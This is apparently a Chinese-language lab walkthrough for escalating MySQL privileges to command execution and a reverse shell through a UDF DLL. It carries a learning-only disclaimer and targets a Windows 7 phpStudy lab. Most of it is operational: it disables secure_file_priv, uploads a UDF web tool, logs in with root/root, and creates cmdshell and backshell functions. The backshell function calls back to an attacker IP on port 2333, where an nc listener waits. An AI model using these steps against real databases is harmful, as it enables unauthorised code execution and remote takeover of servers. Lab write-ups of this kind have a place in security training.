0%

MySQL反弹shell提权

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

在渗透或者安全评估时,有可能遇到一些比较奇葩的环境,即使通过Mysql root账号和密码获取了webshell,由于无法执行命令。在一般的情况下,也就放弃了。但其实可以换一种思路,通过mysql查询来直接提权,可以针对以下场景:

(1)通过网站无法获取webshell

(2)Webshell无法执行命令

(3)有phpmyadmin和root账号,无法查询或者无法获取网站的真实路径


影响版本


MySQL


FOFA语句

1

环境搭建

  • win 7
  • phpstudy2016

image-20211210163300012

  • 关闭安全文件特权;

Mysql数据库从文件导入或导出到文件,提示:

1
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

原因及解决方法如下:

查看配置,执行mysql命令;

1
SHOW VARIABLES LIKE "secure_file_priv";

如果value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行),如果为空,则不限制目录;

修改mysql配置文件my.ini;

1
2
3
4
5
6
7
8
# 手动添加一行;
secure_file_priv =

# 表示限制只允许/home文件夹
# secure_file_priv = /home

# 表示不限制目录,等号一定要有,否则mysql无法启动
# secure_file_priv =

修改完配置文件后,重启mysql即可生效;

漏洞复现

下载langouster_udf.zip

将langouster_udf.php上传至靶机C:\phpStudy\WWW目录下;

浏览器访问:http://靶机IP/langouster_udf.php

image-20211210163734555

填入对应的默认账户和密码;

1
2
3
4
host:靶机IP
mysql账号:root
密码:root
数据库名:mysql

进入后将会是如下页面;

image-20211210175946238

在导出目录中输入执行;

1
C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll

在SQL命令中执行;

1
CREATE FUNCTION cmdshell RETURNS STRING SONAME 'udf.dll';

操作如下图所示:

image-20211028134405581

命令执行;

1
select cmdshell('whoami');

反弹shell;

攻击机中执行;

1
nc -lvvp 2333

在浏览器表单中执行;

1
2
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
select backshell('攻击机IP',2333);

攻击机中将会返回shell;

image-20211211101053402

欢迎关注我的其它发布渠道